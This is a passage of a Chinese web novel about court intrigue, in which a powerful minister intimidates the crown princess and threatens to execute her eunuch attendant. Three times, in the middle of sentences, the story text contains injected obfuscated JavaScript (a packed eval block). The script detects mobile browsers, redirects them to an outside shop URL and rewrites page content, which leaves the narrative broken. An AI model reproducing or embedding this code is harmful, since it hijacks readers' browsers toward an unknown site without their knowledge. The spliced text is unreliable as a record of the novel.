帐里传来低低的苦笑：“殿下，宗室姻亲从未有和离先例，即便世子同意，礼部和宗正院也不会同意的。清修于妾而言，已经是最好的结局了。” 呵，那帮老家伙不同意又如何？这件事，她管定了。 * 鸿雁青铜薰炉之上，烟气袅袅。 书案后，秦王斜凭着雕花圈椅，嘴角勾着意味不明的弧度，难辨喜怒。 “一班子夯货，没一个省心的。”夕阳余晖透过窗纸，边界清晰的光影落在他的面容，勾勒出线条锋利的轮廓。 “侄儿愿意替世伯分忧。”苏觐背对着秦王，专心在一层层壁架上找书，发出糊弄的回应。 “最不省心的那个就是你。”秦王冷笑。 “啪嗒。”一部古籍恰从架中跌落，砸在脚旁的地板上，苏觐弯腰去拣。 “你就气你娘吧，啊，她过生辰也不肯消停。”秦王数落道，“我怎么哄都没用了，你多会气人呐？今日太子都早早来陪着，说了一箩筐的话，你呢，姗姗来迟，装腔作势，你是全家最大的稀客，贵客。” “京营路远，确实是军务耽误。”苏觐敛声辩解，“况且我赶上给娘拜寿了。” “你还有脸提拜寿！”秦王佯怒，砰地拍响桌案，动静略显浮夸，“你那是拜寿还是气她，你自己心里有数！我是想不通，当面叫一声娘，自称一句儿，是会烫坏了你的嘴么？” “臣知罪，求殿下息怒。”苏觐道。 无言良久，秦王自觉岔开话题：“太子又是怎么回事？好好的跑到花街柳巷里，掺和大郎家里的事。储君世子，乐馆斗殴，天家颜面都被他们丢尽了！不是让你看着太子吗？” “侄儿听闻，是世子动手打世子妃，太子劝说不成也被打伤，并非是斗殴。”苏觐蹙眉，“况且，侄儿也不像某些人，天天在外头乱晃，借着办差的名义走马章台，花天酒地。” “说到岑典，你当时为何要让他受刑？他不是在查光禄寺的案子吗，现在倒好，闲得整日在家里挺床！”秦王驳斥道，“你别跟我扯什么缺银子，你多阔绰呀，你娘给的钱你不是一文不要吗？” 他口吻虽凶，实则已万般无奈。本想着岑典被弹劾下狱，让苏觐代垫了一笔赎刑银，按道理把孩子那点俸禄都掏空了，可人仍旧硬是不收王妃给的体己钱。 “臣有罪，请殿下责罚。”苏觐道。 秦王心里也紧绷得难受。要化解娘俩间的隔阂，太过急于求成，反倒适得其反。 刚才也是没话找话，他岂会不知太子之事怪不到苏觐头上。苏觐如今担着内阁，还要查镇抚司的公案，光禄寺的烂账，京营里的细作，要在盔甲厂和兵部之间来回跑，哪有功夫一天到晚盯着太子去了哪条街巷。 秦王叹气道：“这两日镇抚司和内阁的案牍都送到武英殿，我来处置。告诉岑典腿没断就立刻回来当差。再叫他们把世子捆过来。你滚吧。” 苏觐听出这是要让自己放松两天的意思。 这等好事，正中他下怀。 好几日没抽出时间去折磨太子，他也觉得无聊得紧，心里空落落的。 加之秦王要整治乔绍，他倍感舒畅，巴不得扭头就走，却又故意站着不动，装作没听懂：“是。世伯是命我去盔甲厂么，还是去兵部？” “滚去东宫，管好太子。”秦王一字一顿道。 嗯，舒服了。 “遵命。”他行礼，慢慢退了出去。 * 乔鹤练返回寝殿时，天已经擦黑，廊下华灯初上。 她推开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530979|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿门，殿中一片阒静，垂落的卷帘门外，赫然跪伏着一个瑟瑟发抖的内臣。 什么情况？ 她快步上前，拉内臣起身：“行简，你怎么了，谁让你跪在这的，快起来！” 行简只是趴在地上，胳膊在袖中打颤，脑袋埋进衣料，半个字也吐不出。 “不用问他了。”卷帘内响起淡漠的人声，在空旷大殿中荡出微渺的回音，“殿下还是先顾好自己吧。” 乔鹤练毛骨悚然，猛地推开帘子。 书案两旁摆着明亮的楠木落地宫灯，苏觐端坐于案后的灯挂椅上，衣冠整洁，眼帘微垂，手持一沓墨纸，正在一页页翻看。 是她尚未完成的功课。 烛火的影摇曳在他墨眸中，暖黄的烛光照着冷玉般的面孔，竟给人几分温柔的错觉。 “明日文华殿上，殿下打算就拿着这些东西交差？”苏觐端详着纸上字迹。 “这，不是还未到明日么，我今晚，能写完。”心在胸口咚咚狂跳，乔鹤练缓步上前。 苏觐笑了一声，唇角却丝毫不弯。“今晚就不必了，明日臣会请殿下重写十遍的。” 乔鹤练咽了口唾沫，伫立于案前，没有作声。 “殿下将来想做明君吗？”苏觐突然抬头，仰视着她。 明君？ 她握了握微潮的掌心，轻轻晗下首去。 “那么，臣苏觐有两句愚见，要进谏于殿下。” “其一，勿沉湎促织之戏。” 她跟随他目光，望向案角的蛐蛐罐。 “其二，勿授宦官以实权。” 他手中纸页卷起，指向帘外的内臣。 “先生所言甚善，本宫谨记了。”乔鹤练勉强挤出一丝笑。 跟这人说话真累，聊两句天跟上朝似的。 苏觐也微笑，温和地点了点头。 他不再看她，冲着帘外唤道：“段奉御。” 跪得手脚皆僵的内臣闻言，浑身骨头都要散架了，俯伏着膝行上前。 “段奉御这手翰墨的确不凡，若是入闱赴考，大概可以登科。在东宫做个六品典玺官实在屈才，该去司礼监秉笔才是。” 苏觐从墨纸中抽出一页，虚晃了一下。 行简只觉额上冷汗簌簌而下，将指尖浸得湿透。 “段奉御，某现在问话，你需据实作答，如有半句虚言，格杀勿论。”苏觐低眸瞥他，“你听清楚了吗？” “奴，奴婢，请大人，垂问……”行简上下齿打架。 “某问你，你今日随侍东宫，太子就学，你代笔功课；来日储君即位，御览奏本，你是否也要代行朱批啊？” 纸页落在桌案，发出哗的声响。 “奴婢不敢，奴婢万万不敢！”行简四肢瘫软，磕头不止。 “不敢就好。”权臣赞许。 “某再问你，今日太子入秦王府赴王妃寿宴，为何尚未开宴，人会跑到街坊乐馆之中？” 整沓宣纸被摔在案上，“是不是你蓄意撺掇，煽动储君四处游荡？” 这一声惊得乔鹤练一个激灵，她立即反驳：“是我自己去找……” “住口。”却被苏觐冷冷打断，“臣此刻没有叩问殿下。” 行简已经快吓昏过去，喉咙痉挛得发不出声。 若敢答是，蛊惑太子之罪，难逃一死；敢答不是，那便是矢口抵赖，自寻死路。 “一言不发，视同虚言。”苏觐只静候片刻，向殿外喊道，“来人。” 颈系素巾的年轻刀客从殿外疾行入内，步伐悄无声息。他肩上所背长刀朔气凛凛，杀意逼人，有近乎一人身高。 乔鹤练瞠目结舌，头皮一阵发麻。 “把这内臣推出去，就地处斩。” 14. 训谕太子 刀客一言不发，单手揪住内臣的后衣领往殿外拖去。内臣神魂尽灭，衣摆委地，靴底在地砖上擦出催命的嘶啦声。 乔鹤练五雷轰顶。 她踉跄几步越过寻戈，飞奔至殿门口，哐当一声将门扣死，把身体挡在门前。 “你疯了！”乔鹤练脑中一片空白，仅凭求生本能挣扎呐喊，“这里是东宫内苑，太子寝宫，不是你神机营军帐！你一个外臣，擅自带兵持刀入禁，戕害内使，恐吓储君，苏觐，你要谋反吗？” 寻戈拽着身如烂泥一般的行简，在她面前缄默站定。 她背靠着殿门，心脏狂跳，手脚冰凉，内外衣衫沁满冷汗糊在身上。 少年刀客面无表情地与她对望，眸光肃杀，宛若一片沉寂的死海。 随时要将人溺毙。 伴随着缓慢的椅子拖动声，寝殿那一头，桌案后的权臣悠然起身，缓步朝她走来。 他右手托一枚敞口木匣，一方青花玉印盛放其中。其玉质哑光，纹理古朴，透着岁月斑驳的痕迹。 看清印章的一瞬，乔鹤练耳边炸起尖锐的嗡鸣，她脚底一软，后背贴着殿门，整个人直愣愣地滑坐在地。 天子御印。 如天子亲临。 是秦王，从爹爹那里拿来了。 给了苏觐。 “太子年岁尚轻，恐怕不理解何为摄政之臣，何为震主之臣。” “少保兼太子太保兵部尚书武英殿大学士，臣苏觐，奉天持节，调度京师三大营，指挥亲军十二卫，拱卫皇都；入内阁，参赞六部机要；佐理东宫，授业皇太子。” “今代执此印，是奉天子钦命，训谕国储，铲除东宫奸宦。太子不听教诲，徇私包庇，阻挠圣命施行，忤逆犯上，目无君父。” “太子，谋反之人不是臣，是你。” 苏觐长身鹤立，微微垂首，睥睨着她。 “现在，知道权臣二字怎么写了吗？皇太子殿下。” “拖出去，杀。”他指着行简，淡漠吩咐。 紧闭的大门被刀客一脚踹开。 乔鹤练撑着门槛，死死抱住僵如泥塑的行简，泪如决堤：“是我错了，苏哥哥，我听话，我什么都听兄长的……给我留下行简，求求你！饶他不死，我怎么样都行……” “怎么样，都行？”那人冷眼垂视她，玩味地重复。 乔鹤练闭眼，木然地点点头，两行清泪淌过面颊。 “放开他。”苏觐道。 乔鹤练不肯撒手，她怕只要她一松手，行简就会立即倒在血泊之中。 那是她视若亲人的伙伴啊。 “我说，松手，放开他。”苏觐道。“不是说要听兄长的话么？嗯？” 泪水如落珠，一颗一颗砸在衣领上，洇开碎花般的湿痕。 乔鹤练无声恸哭，指尖一寸寸挪开，衣袖缓缓垂落。 “起来，把脸擦干净。” 她浑身麻木，动弹不得。 “要听话，就不要让我说第二遍。”苏觐道，“起来。” 她艰难地移动双腿，扶着门槛，努力支起胳膊，尝试了一下起身，没有成功。 衣襟随之被用力揪住，身子也腾空而起，鞋尖磕在地上，她踉跄了几步站稳。 他的手巾胡乱揩过她面颊，手法生硬，却完美避开了面上伤处。泪痕被擦尽，浅淡的零陵香气拂面而过。 “过来。”苏觐向殿内走去。 她怔怔跟在后头，一步一顿。 隔着书案，苏觐重新坐回靠椅上，抬头审视着她。 “站好看些。”他冷冷道，“平肩正背。头容直。手容恭①。身为皇储，站姿也要人教么？” 意识到垂头丧气的模样确实很丑，她默默端直身子，左手虎口把着右手拇指，叉手于胸前。 “说吧。怎么回事？”苏觐道，“从为何离开王府开始说。如有虚言，门口那个，还是斩立决。” “你，不是都知道……”她小声。 “我知不知道，影响你怎么说吗？”他瞟她一眼，“还是说，如果我不知道，你就可以随便乱说？” 乔鹤练暗叹口气，一五一十，将所有事和盘托出。 说到扇乔绍耳光时，她总感觉苏觐像是没忍住笑一般，动了动嘴角，但是仔细看去，又分明板着脸，始终一副矜肃神情。 应该是她看错了。 讲完之后，二人对视无言。 沉默了片刻，苏觐道：“不止吧。” “什么不止？”乔鹤练蹙眉，她明明都实话实说了，就连那个舞姬的话都原封不动地学了一遍。 他抬手指着她鼻梁上的淤紫：“脸上这个，是怎么弄的？” “乔绍打的么，刚不是说了。” “他为什么打你？”苏觐问。 “因为我打他脸了。” “你打他脸了。”苏觐道，“他那么出口成脏的人，他能不骂你？” “他骂我了啊。”乔鹤练说，“他还骂你了呢。” “这个不用你告诉我。他天天骂我，我自己长了耳朵听得见。”苏觐冷笑，“他骂你了，那你没有还嘴吗？” “我……”她欲言又止。 “还嘴了没？”他问。 “……还嘴了。” “还嘴了什么？”他盯着她。 “我骂他……不是人。” “不是这句。”苏觐否定，“实话说，还骂了什么？” 乔鹤练张了张口，嗓子一阵发紧，实在难以启齿。脸也开始变热涨红。 “骂他什么了？嗯？”他饶有兴致地欣赏着她的窘迫。 “我……说不出来……”她嗫嚅。 那种词语，当着此人的面重复，那还不如打死她算了。 “现在知道那两个字是詈语，有损天家颜面了？”他抬声斥责，“太子深居宫苑，这种市井脏话是跟谁学的？” 苏觐冲门口喊：“寻戈，把那内臣带过来。” 暂且死里逃生的行简，面如土色地重新跪伏在地。 “段奉御，某奉圣命告知你，倘若以后再让某知道，太子当众讲此类詈语，某会将你和你下面那些内臣的舌头，全都割了，你听明白了么？” “奴婢……遵旨。”内臣哆嗦着叩首。 苏觐挥了下手，寻戈又拖着行简重新回到殿门口。 乔鹤练局促万分，如鲠在喉。 苏觐顿了片刻，命道：“过来。” 乔鹤练咬唇，绕到书案后。 只见苏觐将座椅转了个方向，面朝她坐着，心平气和道：“来。打我。” “啊？”乔鹤练不懂。 “就像你今日打乔绍那般，打我。”苏觐道。“照着脸打。” “这……”她怔住。 “我滥杀无辜，处死你的随侍奉御，你不怨恨吗？”苏觐道，“我操纵权柄，肆意碾压你，要挟你，你不愤怒吗？” “再不动手。”他道，“我就要让寻戈动刀了。” 乔鹤练咬牙扬手，狠命挥下一巴掌。 出掌的右腕瞬间被那人抬手捉拿，他手上的骤力将她往左侧拽去，她又出左手，可他捉她右腕的那手轻松一拧，把她左腕也一同擒住。 胳膊动弹不得，无法发力，悬殊的力量扯得她脚下失了平衡，身子往前一倾。 软绵绵地扑倒在了，他的腿上。 乔鹤练傻眼了。 双腕被那人单手牢握，她茫然无措地趴伏在他膝头，脑袋朝下，两脚耷拉在地，宛如一只待宰的羊羔。 无法接受这个姿势，她奋力扑腾着要爬起来，可因太过慌乱羞耻，躯干难以发力，显得姿态更愚蠢。 好在苏觐大约也没眼看她这狼狈模样，另一手抓着她后腰带把她拎了起来。 但他并没有松开她双腕，而是猛地站起身，攥着她腰带，将她一路揪到墙边。 胳膊被举过头顶，按在墙上，她慌得闭紧双眼，将脸扭向一边。 “来。”他将她堵在身前，罩于影下，质问道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530980|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“打啊。还手呀。不是很会打架么？我就在这里，陪你打个够。” “不打了，”她颤声，“不打了……” 苏觐冷笑着松手，将她扳到桌案旁，从博古架上取了个厚实的软垫，抛在她脚边的地衣上。 “跪下。”他道。 乔鹤练目瞪口呆，倒退半步。 他竟要这般羞辱她。 “怎么，太子脸皮不是很厚么？那日在文华殿上，当着群臣众官的面，你说跪就跪，今日寝殿中只有你我，为何又跪不下去了？”苏觐揶揄。 “还是说，当时就是故意演给百官，告诉满朝文武，苏觐僭越跋扈，毫无人臣之礼，逼得储君都要给自己下跪。等将来苏某遭了弹劾，便可以落井下石，加上这条篡逆的罪名？” 乔鹤练呼吸一滞，怎料他竟会在此刻戳穿她的算盘，几乎无地自容。她垂下眼帘，睫毛上犹沾着星点珠光。 所以，这便是他的报复吗？ 见她不动，苏觐微微颔首，似笑非笑： “某说过了，某持御印，此刻是代天子劝谕。仰承圣训，跪听是常仪，你做了这么多年储君，这种最基本的礼数还要我现教么？” 她耳朵一嗡，趔趄向前，认命地跪倒在垫上。 文茵是丝帛材质，里面填满了密实的棉絮和柔软的鹅绒，即使膝盖用力砸落，也基本没有痛觉。 可下一瞬，她却被人拎着后领狠狠提溜了起来，重新立正在他身前。 “腿不想要就直说，我随时可以送你去锦衣卫大狱，帮你把膝盖挖掉。”他恐吓她道。 不知所措地站在原地，乔鹤练只觉头重脚轻。 “历朝历代，哪国太子是这样成跪的？粗鲁散漫，仪容失尽，比文华殿上那日还难看。”苏觐厉声训斥，“站好。重新来，要详缓的。” 她鼻子一酸，心里本就惶恐凄凉，被这样一凶，愈发悲愤委屈，更加不想从命了。 僵持片刻，他开口：“怎么？在等我动手教你？” 赌气一般，乔鹤练大胆地倒退了半步。 还不及后脚跟着地，胳膊被那人猛地扯住，将她强行往回拽。 恼羞成怒之下，她气冲冲一甩手，本意是做些无谓挣扎，显得不那般逆来顺受，可万万想不到竟真的挣脱了桎梏。 乔鹤练犹如晴天霹雳。 她吓懵了。她不知苏觐会否因为这下反抗而愠怒，立刻赐死她的行简。 苏觐淡淡低眸，垂望太子。 果然是只难驯的羔羊。 脆弱，叛逆，有种不可名状的美丽。 谁料眨眼之间，太子竟提衣撤足，依次落膝，服服帖帖地跪在了垫上，手也乖巧地叠在身前。 呀呵。这服软速度快得。他都意外。 而如此突如其来的伪装的驯服，显得眼前的小人愈发美丽。 这若要是陈留…… 罢了，不能想那些，实在太糟糕了。 “嗯。这不是跪得很好看么。” 乔鹤练低着头，奚落似夸奖，淡漠地掠过她耳畔。 不知为何，明明身处寂静无人的寝殿，可她此时颜面扫地之感，胜过以往任何时刻。 “知道为什么吗？”苏觐问。 “因为，我算计你？”乔鹤练迟疑。 “哈。”苏觐笑出声，“你那点手段，我当个笑话看了，还挺有趣。哪里配得上这副阵仗。” 她脸顿时烧透，头垂得更低。 “来，抬起头，看着我。”他声音瞬间冷下去，“好好想，错哪了。” 双腿似冻僵般无力，腰下部位跌坐在脚跟上，她艰难地直起脖颈。 “我……不该打架……” 他并未让她跪起身子，而是自己半跪下去，托起她的下巴，强行令她抬头，与他对视。 “不对，再想。” “不该……骂人，不该说那种词……”她嗓音近乎哽咽。 “不对。若再说错，今晚就别想起来了。”苏觐沉着脸道。 15. 陈留郡主 乔鹤练实在想不出还能说什么了。 她被迫昂头，直直望向对面暗而冷寂的眸，泪水蓄在眼眶里，到底强忍了没淌下来。 指尖无助地摩挲着脚踝处的衣料，她咬了咬下唇，索性闭上眼不吭声了。 反正说错也是一个结果，还不如少费点口水。 那就耗着呗，大不了都别睡了。 苏觐瞥着太子颓然的表情。 他理当有的是折磨太子的耐心，可瞧着对面凝露的乌睫和泛红的鼻尖，手竟不由自主地松开，垂落。 目光落在少年揉搓踝骨的手指上，他倏忽站起，一把攥住人后衣领，将人从地上猛地拉拽起来。 起身太急，乔鹤练始料未及。因跪坐稍久，脚底至小腿瞬间麻透，一时毫无知觉，根本撑不起身子，整个人向下歪去。 就当她以为自己要跌倒时，膝弯被稳稳托住。她被人拦腰抱起，快行几步，搁置在了书案边的灯挂椅上。 “嘶——”身体接触到椅面，两腿涌起无数针扎般细密的痛，她无力地瘫在座椅上，倒吸一口凉气。 “坐好看些！”又是劈头盖脸的呵斥，苏觐皱眉，“站没站相，坐没坐相，一点储君的样子都没有。” 莫名其妙又挨一通骂，乔鹤练委屈不已：“那我腿麻了啊……” “亲长申饬，不许还口狡辩。”苏觐道，“坐不端正，就回地上跪着。” 乔鹤练抚了抚并没有什么感觉的膝盖，识趣地坐直了身子，怔怔不动。 “你同我动手，有几分胜算？”苏觐开口问她。 “没有。”她老实地答。 “苏某是文臣，不修武艺。”苏觐冷笑道，“乔绍并非善类，且是军营里摸爬滚打出来的，能骑马扛枪，又比你年长许多，还有一半草原血统，你能单挑过他？” “他当你是太子，是他兄弟，是小孩子，站着让你打，不和你较真。他自幼就嘴欠，皮厚，扛伤，你打他，他只当被小羊顶了一下。” “可你用那个词骂他，你胆子不小呀。他爹恨不能一刀砍死他，都没用这种词侮辱过他。你这是捅他肺管子，把他惹急眼了，打残你都算轻的。” 乔鹤练越听耳垂越烫，头也不自觉勾了下去。 “你今日若只是打了人，骂了人，我不会责怪你，最多把你那些内臣的手剁了，舌头拔了。毕竟储君打架骂人，都是底下人教唆的。” 她下巴又被扳住，用力抬起，被迫仰视着那张俊美漠然的脸，霜剑般凌厉的威胁压在耳畔。 “可今日，你挨打了。且受伤的，是你的颜面。我郑重告诫你，若你下次再敢因为自己的莽撞，弄伤了这张脸，我会让你跪上三天三夜，再把你东宫所有内臣全部处死，你如若觉得是开玩笑，大可以试一试。” “你听进去了吗？”他声极凛冽，质问道。 她脸蜷在他手中，闭了眼，心惊胆战地点了下头。 一股淡淡的冰片和没药香弥散开，沁凉的膏体落在鼻梁，缓慢抹匀。 她睁眼，竟见苏觐用指腹蘸取药膏，正在仔细给她面中伤处上药。 他的动作一丝不苟，但并不很轻柔，触碰之处有些微的疼痛。 “下午，薛司药给过我药了……”乔鹤练不知所措，讷讷道。 “她的药是她的药，我的药是我的药。”苏觐冷淡道。 顿了片刻，他补充，“此药性情温和，是军中跌打常备。我问过司药了，和她的药可以兼用。” 乔鹤练默然无言，坐在座中，脸微热，心跳得有些清晰。 见苏觐在旁也不吭声，她厚着脸皮伸手去揪他衣袖。 “我知道错了。可以，可以让行简回来吗？”她摇晃那衣袂，拖长音调，可怜地央求，“求你了，苏哥哥……” 手中衣袖微动，轻轻一抽，滑离了她的指间。苏觐不动声色地向旁边迈开一步。 “寻戈，先把人带进来。” 行简就这样在生死线边缘反复挪移，双腿已经软得完全无法行走，只能靠着刀客的拖拽前进。 “段奉御，你知罪吗？” 沉沉的质询迎头覆下。声不大，但威压极强，将人紧紧摁倒在地。 “奴婢该死，奴婢先是唆使千岁携世子妃踏足乐馆，又怂恿千岁同世子争执……”行简战栗叩头。 “若不是殿下屡次纡尊降贵，苦苦为你求情，你的罪过，足够你被处死十次。”苏觐道，“某今日不杀你，念在你还要照料殿下起居，也不施重刑，但，亦不能轻饶。” 他对寻戈道：“把他拉出去掌嘴。” 眼瞅行简像条麻袋一样被拖来拖去，乔鹤练再也忍耐不住，拍案而起：“不行！” 上次因为文华殿旷学，行简已经为她挨了打，这次无论如何，再也不能让行简代她受过了。 乔鹤练走上前：“他是我的人，你要打就打我，不要打他！” 苏觐盯了她少顷，冷笑：“我打你？苏某的手是执笔持节的，不是破人面相的。” 乔鹤练一咬牙，指着寻戈：“那你让他打我！” 苏觐无声微笑。 他看着她，平静道：“不如你自己动手吧。” 没想到苏觐会这么说，乔鹤练愣了一瞬。 心口酸涩，又有点气恼。指尖微麻，而后颤了颤，她一狠心，扬起胳膊朝自己面庞上挥去。 紧接着，手腕被一把擒住，捏紧扣死。 他攥着她的腕子，力道大得仿佛要将骨头握碎一般，敛去笑意，脸色阴如乌云，眸色浓如稠墨。 “看来我方才的告诫，你半句也没有听进去。”苏觐一字一顿。 “你这掌一旦落下去，知道有多少无辜之人要为此丧命么？” 这一刻，他真的动了要杀人的念头。 这张与陈留一般无二的脸，太子究竟有什么资格，一而再再而三地擅自毁伤。 怎么可以有人如此不珍惜这副容颜。 陈留郡主当年是感染痘疫病逝。 太子嫡女，金枝玉叶，宝珠般璀璨明媚的少女，入殓之时，面目全非。因防瘟疫扩散，死后连尸骨带棺材烧成了一把灰，埋葬在京郊偏僻的一座坟茔里。 即使今上即位后，追封陈留为公主，也一切从简，只是宣告太庙，授予了金宝金册，并未扩建公主墓。 陈留生前喜穿色彩鲜亮的衣裙，一定是非常爱美的少女，面容有毁对于她来说，该是何其伤心残忍之事。 陈留已逝，这世间只剩太子顶着这副容颜，也算替她活了一场。当亲眼看到横亘在这张脸上的淤痕时，苏觐的第一念头是： 奉天门那天晚上，该让乔绍被他爹一刀结果了的。 而此刻，太子为了一个宦官，竟还要对这张脸动手。 苏觐彻底失了耐性，命寻戈：“立刻把宦官拖出去打！” 待殿中又只剩二人，他狠狠甩落了太子的手腕，沉声道：“既然你不想坐，那便跪下！先把今夜跪过去再说。” 他背过身去，决心这次一定要替陈留出气，给太子一个教训。 乔鹤练承认，刚才她的确在赌气，想借着苏觐那点心软的余温袒护行简，却高估了自己任性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530981|203689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的分量。 她懂得察言观色，看得出苏觐此刻压抑在冷峻外表下的滔天怒意。在此人此种情绪之下，听话照办是她唯一的出路。 这还是她这辈子第一次见他生气呢。 他在气什么呢？气她伤了储君的颜面？ 储君的颜面，是国家的颜面吧。象征着宝器，应当优雅得体，要配得上礼乐之邦的文华，衣冠上国的气宇。 这么看，他气得确实有道理。 如此波澜不惊的一个人，唯一能搅乱他平稳心绪的，原来是国家的颜面吗。 她于是从容地跪下去，依旧垂手在身前，诚恳解释：“兄长不必生气，你的话我听进去了。斗殴之事，是我意气用事，只是刚才，我没有想真的动手。” “我是在胡闹，因为我不明白，我认为兄长对于此事的处置，一点也不公道。” 苏觐转过身来，看着太子。 少年不卑不亢，望着那微瑕面庞上流露出的温顺与执拗，他终究不忍，动了恻隐之心。 “起来。回去坐好。” 乔鹤练暗自松了口气，扶膝起身，规规矩矩地坐回座位上。见苏觐仍绷着脸，她心跳得愈发厉害，也不敢再多说什么。 她偷偷拧了拧犹有余痛的腕骨。 她肤色白皙，刚才被他那样用力掐着，腕上已泛起一圈印痕，红得醒目。 此人若真大发雷霆，她怕是要小命不保。 “殿下认为，臣的处置，哪里不公道？”苏觐问。 “为了维护储君的颜面，把过错全部归咎到内臣身上；明知是储君荒唐，却让内臣承担一切罪责，本宫认为这并非君子所为，因为它既不仁义，也不公道。”乔鹤练这才道。 这既不是她理想中的王道，也不是法家所写的“法不阿贵”的霸道。 “殿下说的，非常对。”苏觐点头。 他神色稍缓：“臣的处置对行简很不公道。无论旷学还是斗殴，主犯都是殿下，他顶多算从犯。而臣却不责怪殿下，反而把所有罪名统统安在他的头上。” “臣以为，臣的处置对寻戈也不公道。他恪尽职守，早已下值，此刻该在榻上安睡，而非在殿外吹风。况且在殿下心目中，行简的脸值钱，那寻戈的手就不值钱吗？” 乔鹤练哑然语塞。 “殿下对公道已有见解，臣今夜，不是为同殿下讲公道而来。”他言归正传，“臣要讲的是秩序，是皇权与家天下的秩序。” “殿下可以暂时不理解，但是必须先牢记，在封建之中，秩序是首位，每个人不得不受礼教约束，并为此承担职责。” “今夜，段奉御的职责既是替殿下受过，也是替他自己受过。他自幼陪伴殿下，随侍东宫，没能替殿下回避风险，便是逢君之恶。他固然忠心，可若想将来成为合格的帝王近侍，还需要历练和打磨。” “而殿下的职责，就是记住这份煎熬，以后谨言慎行，不要再因一时冲动，平白牵累无辜与弱小。” “看讲章，殿下已读过《礼记》的‘王言如丝，其出如纶；王言如纶，其出如綍’①。身居高位者，一言一行，都会对无数人产生不可估量的影响。” “用礼教维持秩序，是封建君王的权力和责任。”见太子陷入沉思，敛眸不语，看样子是听进去了，苏觐长话短说，“也是所有封建君王都要面对的现实。” 不知不觉间说了这一大篇话。唯一藏匿的私心，是没有透露自己刚才动怒的真实原因。 家国事大，他永远会冷静处之。 能让他情绪失控的，唯有陈留之事而已。 16. 蝉娘子 苏觐走后不久，一个宫人装束的女子提着宫灯悄声迈入寝殿。 乔鹤练正在给行简上药，行简顾不上伤痛，着急忙慌地问她：“千岁，苏大人他没有对你动粗吧？” “他敢！”乔鹤练佯作淡定，虚张声势道，“他要是敢打我，我告诉他娘去。” 隐隐作痛的右腕掩在衣袖里，她其实心有余悸得很。凭着苏觐的处事风格，此人既然取得了御印，让她跪三天三夜和屠戮内臣这种事，他是真干得出来。 他若干了，秦王不会多说什么。秦王妃虽私下疼她，也绝无可能过问政事。 听到身后几乎微不可察的脚步声，乔鹤练擦了擦手，招呼道：“快来。” 宫人放下灯笼，叉手上前，低头行了个标致的宫人礼：“奴婢见过太子殿下，见过行简公公。” 行简只觉这宫人的声音听着耳生，并不像东宫女史，他一面疑惑是哪个司的女官，一面起身还礼，待看清来者之后，脚下一个趔趄，差点滚倒。 “千岁呀，”行简感觉自己又要死到临头了，他颤着嗓子跌坐在地，“都这个时辰了，苏大人他们可没出宫啊……” 此时宫门已经落钥，夜深人静，出宫并不方便，苏觐大概率宿在内阁的暖阁里。 而内阁和东宫究竟离得有多近，那简直是走几步路就到了，万一苏觐半夜睡不着，心血来潮带着寻戈过来突袭，发现了这假冒的宫人，他十个头也不够砍啊。 “没事，遇到事情先别慌。”乔鹤练一把将他拽起，宽慰道，“毕竟我让阮娘子混进宫的时候，我也不知道苏觐会来啊！” 谁让他总是神出鬼没，没有任何一次是有人提前通知她的。 眼瞅女君如此散漫，行简都替她头疼，而旁边那个不怕死的罪魁祸首就更离谱了，毫不见外地靠在罗汉床上翘起脚，抓起一把干果剥了起来。 “来。”阮蝉又给自己倒了杯热茶，拍了拍身旁空位，“让我看看，我家小公主的脸伤到哪了？” “没事。”乔鹤练无所谓，这点小伤压根不严重，看着丢人而已。 可她丢人的经历多了去了，这一桩也实在算不上什么。 “你说说你。”阮蝉调侃她道，“打架也不知道先叫上我，叫上我必定大获全胜，怎么可能让你受欺负。” “那麻烦你下次知道我打不过的时候，就自己快点从天而降吧！”乔鹤练回敬。 余光瞄见战战兢兢欲言又止的内臣，乔鹤练转过头，认真对他道：“行简，我知道你的难处，我向你保证，今后绝对不会再害你代我受过，你信我。” 阮蝉也在旁帮腔：“放心吧，强抢民女，冒充宫女私藏东宫这种罪过，也不是你一个小奉御担得起的，一旦追究起来，肯定是太子主谋，什么后果也得她自己受着。” 行简都要哭了：“那还不如奴婢担着呢……” 阮蝉笑着往小内臣嘴里塞了一把核桃仁，开始对乔鹤练讲起她这次秘密进宫所要传递之事。 “一来是想告诉你，这段时间最好别轻易出宫，就算出宫也不要来蝉楼，最近我那边的喀兀人实在太多了。” “至于密报，我最近弄来一批信鸽，会从宫外飞鸽传书给你。” “说到这个，”乔鹤练问她，“我堂兄身边那个叫玉颜的舞姬到底是什么来头？怕不也是喀兀细作吧。” 这就是阮蝉要说的第二件事。 玉颜的确是喀兀细作，是喀兀公主巴雅尔的心腹，此番进京的任务，便是专门负责笼络秦世子乔绍。 “依我看，世子妃还是趁早同乔绍和离了好。”阮蝉道。 